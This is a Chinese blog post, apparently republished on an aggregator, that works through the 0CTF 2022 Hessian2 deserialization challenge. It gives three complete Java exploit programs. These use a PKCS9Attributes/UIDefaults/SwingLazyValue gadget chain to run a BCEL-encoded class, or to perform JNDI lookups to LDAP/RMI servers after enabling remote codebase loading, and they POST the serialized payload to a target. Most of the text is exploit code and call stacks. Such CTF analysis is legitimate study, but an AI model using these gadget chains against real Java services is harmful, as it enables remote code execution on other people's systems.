关于hessian2的一些疑点(0CTF来分析)

news2025/2/24 0:47:08

目录

前言:csdn很久不用了,打算最近拾起来,主要是监督自己。

非常可疑的点

另一种方法通过JNDI注入来

 构造完整的链子

这里,希望佬们解答解答,非常感谢!!!


前言:csdn很久不用了,打算最近拾起来,主要是监督自己。

从SCTF的java题,看到了0CTF的java,发现都是考察hessian2的链子,于是分析了一段时间。

发现本地搭建,就算使用师傅们的EXP都打不通,很郁闷,是jdk的原因嘛??

题目源码下载:https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk

package octf;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.web.client.RestTemplate;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import com.caucho.hessian.io.Hessian2Output;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Socket;
import java.net.URI;

public class pppoc {
    public static void main(String[] args) throws Exception {
        PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);



        UIDefaults uiDefaults = new UIDefaults();
        JavaClass evil = Repository.lookupClass(linux.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

        setFieldValue(s,"attributes",uiDefaults);

//        ByteArrayOutputStream baos = new ByteArrayOutputStream();
//        Hessian2Output out = new Hessian2Output(baos);
//        baos.write(67);
//        out.getSerializerFactory().setAllowNonSerializable(true);
//        out.writeObject(s);
//        out.flushBuffer();

//        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
//        Hessian2Input input = new Hessian2Input(bais);
//        input.readObject();

        doPOST(serialize(s));
    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        //实例化的类    实例化的超类   构造函数类型   构造函数值
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(obj);
        out.flushBuffer();
        return baos.toByteArray();
    }
    public static void unserialize(byte[] stream) throws IOException {
        ByteArrayInputStream arrayInputStream=new ByteArrayInputStream(stream);
        Hessian2Input hessian2Input=new Hessian2Input(arrayInputStream);
        hessian2Input.readObject();

    }
    public static void doPOST(byte[] obj) throws Exception{
        URI url = new URI("http://127.0.0.1:8090/");
        HttpEntity<byte[]> requestEntity = new HttpEntity(obj);
        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());
    }
}
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

跟着调试的话会更加容易理解一点,上面一层调用一层是做了一个反射构造器的实例化,这里我推测是因为如果直接传入参数会出现类型不匹配,所以用了反射的操作。

非常可疑的点

createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)

就在这两步的调用中,无论如何都调用不到createValue,

 也就是在这里super.get获取的值一直为null,

这里传入的就是key,应该是那个恶意BCEL表达式。 但会一直是null把断点下到了最后命令执行的地方,也跳转不过去,但是如果直接运行还是会弹出计算器的。

另一种方法通过JNDI注入来

package octf.jndi;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
public class sss {
    static final String targetUrl="http://192.168.238.165:8090/";
    public static void main(String[] args) throws Exception {
//        exec("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
//        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
//        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
//        exec("javax.naming.InitialContext","doLookup",new String[]{"rmi://xxxx:1099/4metkg"});
        SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});
       // SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"rmi://127.0.0.1:1099/ilsogp"});
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
        Object o=obj("sun.security.pkcs.PKCS9Attributes");
        setValue(o,"attributes",uiDefaults);
        o.toString();
       // SwingLazyValue
//javax.naming.InitialContext.doLookup()


    }

    public static void exec(String className,String methodName,Object[] args) throws Exception{
        SwingLazyValue value= new SwingLazyValue(className, methodName, args);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
        Object o=obj("sun.security.pkcs.PKCS9Attributes");
        setValue(o,"attributes",uiDefaults);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
        hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
        hessianOutput1.writeString("aaa");
        hessianOutput1.writeObject(o);
        hessianOutput1.flushBuffer();
        byte[] b=byteArrayOutputStream.toByteArray();

        post(b);
    }
    public static void post(byte[] b) throws Exception{
        URL url=new URL(targetUrl);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();
        con.setRequestMethod("POST");
        con.setDoOutput(true);
        try(OutputStream os = con.getOutputStream()) {
            os.write(b);
        }


        BufferedReader in = new BufferedReader(
                new InputStreamReader(con.getInputStream()));
        String inputLine;
        StringBuffer content = new StringBuffer();
        while ((inputLine = in.readLine()) != null) {
            content.append(inputLine);
        }
        in.close();

        System.out.println(content.toString());
    }

    public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(Class.forName(s));
    }
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
//            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

其实可以简单的看出来这俩种方法的区别就是在于,最后swingLazyValue#createvalue方法中的invoke方法,一个是利用BCEL触发命令执行,一个是用的dolookup触发的命令执行,然后简单的解释一下里面代码的作用。

 这个put就是这个,但始终为null,所以key就是我们传入的键名,

SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});

 

上面的初始化通过invoke很好写,这里不加描述, 最后命令执行点是这里的doLookup会调用lookup。

SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});

这里的1389是我本地开启的

 构造完整的链子

package octf.jndi;

import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
public class Solve {
    static final String targetUrl="http://192.168.238.165:8090/";
    public static void main(String[] args) throws Exception {
        exec("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
        exec("javax.naming.InitialContext","doLookup",new String[]{"rmi://xxxx:1099/4metkg"});
    }

    public static void exec(String className,String methodName,Object[] args) throws Exception{
        SwingLazyValue value= new SwingLazyValue(className, methodName, args);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
        Object o=obj("sun.security.pkcs.PKCS9Attributes");
        setValue(o,"attributes",uiDefaults);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
        hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
        hessianOutput1.writeString("aaa");
        hessianOutput1.writeObject(o);
        hessianOutput1.flushBuffer();
        byte[] b=byteArrayOutputStream.toByteArray();

        post(b);
    }
    public static void post(byte[] b) throws Exception{
        URL url=new URL(targetUrl);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();
        con.setRequestMethod("POST");
        con.setDoOutput(true);
        try(OutputStream os = con.getOutputStream()) {
            os.write(b);
        }


        BufferedReader in = new BufferedReader(
                new InputStreamReader(con.getInputStream()));
        String inputLine;
        StringBuffer content = new StringBuffer();
        while ((inputLine = in.readLine()) != null) {
            content.append(inputLine);
        }
        in.close();

        System.out.println(content.toString());
    }

    public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(Class.forName(s));
    }
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
//            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

直接照搬了,和上面那个没区别,就是在setAccess考虑了版本, 

代码的作用是根据当前Java版本来设置成员的访问权限。首先,它通过System.getProperty("java.version")获取当前Java版本的字符串表示。然后,它将版本字符串按照.进行分割,并取得第一个部分作为整数类型的Java版本号。

接下来,代码使用条件语句判断Java版本号是否小于12。如果小于12,则注释掉了一行代码Permit.setAccessible(member),这是为了抑制JDK9+版本中的运行时警告。这里的Permit可能是一个自定义的类或库,用于设置访问权限。

如果Java版本大于等于12,则执行member.setAccessible(true),将成员的访问权限设置为可访问。

需要注意的是,注释中提到从Java 12开始,无法再抑制运行时警告,因为在Java 12及以上版本中,Permit可能不再起作用。这是由于Java开发团队在JDK-8210522中修复了一个问题,导致无法继续使用Permit来设置访问权限。

总之,这段代码根据Java版本来设置成员的访问权限,并考虑了不同版本之间的差异和限制。

因为题目是高jdk,

  1. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  2. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

所以需要修改,但是把题目搭建在本地,进行调试还是卡在了

createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)

这里,希望佬们解答解答,非常感谢!!!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/755253.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】开源:cpp-tbox百宝箱组件库

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍cpp-tbox百宝箱组件库。 无专精则不能成&#xff0c;无涉猎则不能通。。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&#xff0c;…

ingress之503问题

ingress之503问题 背景&#xff1a; 部署好应用服务(nsyai-test名称空间下)后&#xff0c;通过ingress做七层反代&#xff0c;浏览器访问域名一直出现503的错误&#xff0c;其中30086端口为ingress-controller控制器nodeport型service端口 问题&#xff1a; 网上查看发现是不…

【http-server】http-server的安装、前端使用http-server启动本地dist文件服务:

文章目录 一、http-server 简介:二、安装node.js:[https://nodejs.org/en](https://nodejs.org/en)三、安装http-server:[https://www.npmjs.com/package/http-server](https://www.npmjs.com/package/http-server)四、开启服务&#xff1a;五、http-server参数&#xff1a;【1…

OpenMMLab MMTracking目标跟踪官方文档学习(一)

介绍 MMTracking 是PyTorch的开源视频感知工具箱。它是OpenMMLab项目的一部分。 它支持 4 个视频任务&#xff1a; 视频对象检测 (VID) 单目标跟踪 (SOT) 多目标跟踪 (MOT) 视频实例分割 (VIS) 主要特点 第一个统一视频感知平台 我们是第一个统一多功能视频感知任务的开源工…

自建DNSlog服务器

DNSlog简介 在某些情况下&#xff0c;无法利用漏洞获得回显。但是&#xff0c;如果目标可以发送DNS请求&#xff0c;则可以通过DNS log方式将想获得的数据外带出来。 DNS log常用于以下情况&#xff1a; SQL盲注无回显的命令执行无回显的SSRF 网上公开提供dnslog服务有很多…

windows 搭建ssh服务

1、官网下载安装包&#xff1a;mls-software.com 2、点击安装&#xff08;一直默认即可&#xff09; 3、配置 opensshServer 4、成功登录

云数据库MySQL相关帮助

1.为什么创建数据库后在数据库列表中不显示&#xff1f; 因为列表读取的是information_schema&#xff0c;刚创建的数据库是空库&#xff0c;没有数据写入&#xff0c;不会写入缓存表&#xff0c;所以不会显示&#xff0c;但不影响正常使用&#xff0c;可以直接对新建的数据库进…

2.数据结构面试题--消失的数字

面试题:消失的数字 数组nums包含从0到n的所有整数,但是其中缺了一个,请编写代码找出那个缺失的整数,你有办法O(N)时间内完成吗? 方法1.排序:依次查找 如果下一个数不是上一个数1,那么上一个数字1就是消失的数字 冒泡排序的话时间复杂度是O(n^2) qsort排序的话是O(NlogN) 需…

Python爬虫——urllib_get请求的quote方法和urlencode方法

quote方法&#xff1a; 将字符转换为对应Unicode编码 import urllib.request import urllib.parse# 获取 https://www.baidu.com/s?wd周杰伦 网页源码 url "https://www.baidu.com/s?wd" headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKi…

stm32 报错 dev_target_not_halted

烧录stm32H743&#xff0c;在cubeprogrammer里面点击connect&#xff0c;报错dev_target_not_halted 解决方法&#xff1a;先把H743的boot0引脚接到高电平上&#xff0c;然后少上电&#xff0c;此时会停止内核的运行&#xff0c;再点击connect即可 H743管脚&#xff1a; 在芯…

windows系统 安装 InfluxDB

一、InfluxDB下载 InfluxDB的windows&#xff08;64-bit&#xff09;下载地址为&#xff1a;https://dl.influxdata.com/influxdb/releases/influxdb-1.7.7_windows_amd64.zip 二、安装 influxDB是不需要安装的&#xff0c;只需要将压缩文件解压到相应的目录即可&#xff1b;…

STM32CubeMX+Eclipse+gcc+Jlink 实现STM32开发环境搭建

本节记录通过STM32CubeMXEclipsegccJlink 进行STM32环境搭建的过程&#xff1b; 文章目录 一、环境确认二、Eclipse建立工程三、指定编译路径四、选择gcc路径五、选择make路径六、 选择Device 参考&#xff1a; https://blog.csdn.net/qq_35787848/article/details/124395509 h…

OPPO手机便签怎么上传录音文件?

相信很多网友对OPPO这个手机品牌并不陌生&#xff0c;因为它凭借时尚轻薄的外观设计、流畅简约的系统、清晰的拍照摄影以及高中低不同的价位选择&#xff0c;赢得了不少年轻消费者的青睐。不过在使用OPPO手机的过程中&#xff0c;也有不少用户表示自己遇到了各种各样的问题&…

mycat设置sql隔离级别的问题

问题 General log中出现大量SQL “SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ”。 该语句会引起两个问题&#xff0c; 1: "REPEATABLE READ"不是我们预期的事物隔离级别。 2: 大量无效的SQL影响性能。 注&#xff1a; MySql的可重复读会带来怎样…

高科技感发光地球(全息地球)的制作

目录 一、新建合成&#xff0c;导入素材 二、添加Form粒子 三、复制一层Form粒子 四、添加plexus 粒子 五、复制一层 plexus 粒子 六、添加调整层增加颜色 七、增加shine 效果 八、添加发光效果 九、最终效果图 高科技感发光地球&#xff08;全息地球&#xff09;的效…

自动化测试工具比传统测试工具的优势体现在哪里?

随着软件行业的快速发展和扩张&#xff0c;自动化测试工具在提高测试效率和质量方面起到了不可或缺的作用&#xff0c;那你知道自动化测试工具比传统测试工具的优势体现在哪里吗&#xff1f; 首先&#xff0c;自动化测试工具能够大大缩短测试周期。相比于传统手动测试&#xff…

在 3ds Max 中对二战球形炮塔进行建模

推荐&#xff1a; NSDT场景编辑器助你快速搭建可二次开发的3D应用场景 实际上被称为“斯佩里球炮塔”&#xff0c;它被用于二战的B-17和B-24轰炸机。 本教程介绍如何在 3ds Max 中对球形转塔进行建模。建模时&#xff0c;您将使用背景图片作为辅助。首先创建一个低多边形球体。…

【Linux系统编程(文件编程)】之复现cp指令、修改文件应用

文章目录 一、文件操作原理二、文件操作步骤三、实现 cp 复制指令四、修改配置文件五、写一个整数到文件六、写结构体数组到文件01 结构体02 结构体数组 一、文件操作原理 文件描述符&#xff1a; 对于内核而言&#xff0c;所有打开文件都由文件描述符引用。文件描述符是一个…

Docker:overlay2浅析以及解决overlay2 文件过大的问题

最近在学习docker的实现时看到这么一个概念&#xff1a;Union File System&#xff0c;先让我们来介绍介绍它。 Union File System 定义&#xff1a;联合文件系统&#xff08;UnionFS&#xff09;是一种分层、轻量级并且高性能的文件系统&#xff0c;它支持对文件系统的修改作…

VSCode 最全实用插件(VIP典藏版)

目录 一、必备插件 &#x1f33e;Chinese&#xff08;中文&#x1f308;&#x1f308;&#x1f308;&#x1f308;&#x1f308;&#xff09; &#x1f921;Settings Sync&#xff08;配置同步到云端&#xff09; &#x1f308;wakatime&#xff08;编程时间及行为跟踪统计&…